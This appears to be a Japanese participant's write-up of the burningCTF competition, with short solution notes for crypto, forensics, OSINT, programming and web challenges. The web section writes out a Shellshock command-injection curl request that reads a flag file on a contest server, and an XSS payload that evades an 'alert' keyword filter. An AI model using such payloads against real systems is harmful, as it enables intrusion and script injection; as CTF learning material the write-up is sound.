burningCTF
burningCTF(場阿忍愚CTF) に参加していたので簡単に参加記を書きます。
始めたのが遅くてバイナリやSQL Injectionをまじめにやる時間が取れなかったのが心残りですが、
これをきっかけに他のCTFでその手の問題に積極的に取り組んでいきたいです。
111 芸術 ワットイズディス?
ヒントから勘で
112 芸術 cole nanee?
ヒントから勘で
113 芸術 Lines and Boxes
ヒントの「日本人には読みにくい漢字」というところから Electroharmonix を想像した。
フォントの文字と見比べながら解読
115 芸術 毎日使う
まったく読めないので、総画数が8画や9画の漢字を全列挙してそれっぽい字を目grepしたが見つからなかった。正解は10画だった…
画数で絞れば漢字ってどうせ数百個しかないので、方針としては悪くなかったと思うが
121 二進術 壱萬回
スクリプトで処理させた
https://github.com/tomerun/CTF/blob/master/burningCTF/121.rb
131 解読術 image level 5
ファイル名でググったら数字のMD5値だということがわかった
132 解読術 Ninjya Crypto
「忍者 暗号」で検索
133 解読術 Decrypt RSA
opensslを使って鍵の情報を見ると640bitだったので、「RSA 640bit」で検索
→https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 が出てきて、鍵はここに載っているものと同じだった
http://yuppy.hatenablog.com/entry/2015/09/30/010803 を参考に秘密鍵を生成してデコードさせた
151 解析術 Doubtful Files
展開して.vbsをひとつずつ実行したら、8.vbsだけ実行できない
展開前のファイルをバイナリエディタで見ると、「Zone Identifier」という文字列が見える。特に、8.vbsと7.infだけその領域が長い
http://www.atmarkit.co.jp/ait/articles/1407/11/news111.html を参考に more < 7.inf:Zone.Identifier
などするとBase64文字列が出てきたのでデコードしておしまい
152 解析術 情報漏洩
サイズが大きなパケットを覗くとPNGのヘッダが見えたので取り出す
153 解析術 Speech by google translate
データのバイト数を示すフィールドの値が小さかったので伸ばすと全部聞ける
つい先日のBreak in CTFでも似たようなことをやっていたのですぐにわかった
154 解析術 Cool Gadget
stringsコマンドにかけるのをサボっていたのでremovemeが見つけられなかった
aes-128-cbcは見つけたのだが
あと、exifはMacのプレビュー.appでてっきり見れるのかと思っていたけど、(少なくともこのファイルに関しては)見えないことを知った
162 電網術 ベーシック
Wiresharkで開いたらユーザー名とパスワードが見える
164 電網術 Japanese kids are knowing
nmapでポートスキャンして空いているポートにアクセスすると <C-D-...>
みたいな文字列が降ってきて、
ヒントから楽譜だと思って見てみると、かえるの歌だった
171 諜報術 KDL
172 諜報術 Mr. Nipps
twilogで該当の時間のtweetをみつけてTwitter APIで位置情報を取得
最初InstagramのAPIを使おうとしていて、アクセス制御関連でうまく使えなくて困っていた(山寺社長をテストアプリへ招待して許可してもらうゲームなのかと)
173 諜報術 Akiko-chan
画像で検索してwordpressを追加キーワードに入れる
174 諜報術 タナカハック
site:yamatosecurity.com でググるとPDFがいくつか見つかるのでその作成者を見る
175 諜報術 タイムトラベル
いっぱいググった。
「2013/9 "50.115.13.104"」 で https://www.robtex.net/?dns=50.115.13.104 が見つかった
181 記述術 search_duplicate_character_string
「duplicateなL文字のsubstringがある」のLを二分探索
1回のチェックはローリングハッシュを使って(ハッシュの衝突を無視すれば)O(N)で済むので、全体の計算量はO(N logN)
https://github.com/tomerun/CTF/blob/master/burningCTF/181.cpp
182 記述術 JavaScript Puzzle
一見やばそうだが冷静に考えると難しくない
183 記述術 Count Number Of Flag's SubString!
後ろの方で使える文字の中に '=' がないことから "flag=" の結果は必ず1になるので、前から1文字ずつ決める
https://github.com/tomerun/CTF/blob/master/burningCTF/183.rb
184 記述術 解凍?
ある程度手でやって出くるパターンを掴んでからスクリプト化
https://github.com/tomerun/CTF/blob/master/burningCTF/184.rb
185 記述術 Make sorted Amida kuji!!
枝刈り探索
数列の反転数以上の橋を架けないといけないことを利用して枝刈りすると一瞬で答えが出る
フラグを求める部分はJavascriptを移植して計算させた
https://github.com/tomerun/CTF/blob/master/burningCTF/185.cpp
191 超文書転送術 GIFアニメ生成サイト
/movies/view/N のNを1から順にアクセスしたら、50番あたりで運営が作ったっぽい思わせぶりなGIFアニメがたくさんあったので、
きっとこれを解析するのだろうと思って頑張って見ていたが大ハズレだった
192 超文書転送術 Network Tools
ヒントからSHELLSHOCKで攻撃することがわかる
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
このあたりを参考に、 curl -A "() { :;}; /bin/bash -c 'cat flag.txt'" -F "cmd=arp" -F "option=" http://210.146.64.37:60888/exec
193 超文書転送術 箱庭XSS
全部大文字に変換されるようだったので、アルファベット小文字を使わずにalertさせるというゲームなのだと理解する
まず8進数やUTF32で文字を埋め込む記法を試したけど動かなかった
そこで、記号プログラミングでalertを出すコードを http://perl-users.jp/articles/advent-calendar/2010/sym/3 から拝借して利用した
197 超文書転送術 箱庭XSS 2
最初、aタグのhref属性にjavascriptスキームを書いて、ユーザー名をクリックしたらalertが出るようにしたのだけど、何も起きなかった
alertで出力する文字列を、全HTML要素の全属性を連結したものにしてみたら、"alert"という文字列が削除されていることがわかった
あとは <script>eval("al" + "ert(1);");</script>
201 兵法術 将棋詰め壱/203 兵法術 将棋詰め参/204 兵法術 将棋詰め四
普通の詰め将棋だったのでびっくりした
202 兵法術 将棋詰め弐
普通の詰め将棋のはずがないと思って見ていたので、数字が入れ替わっているのはすぐにわかった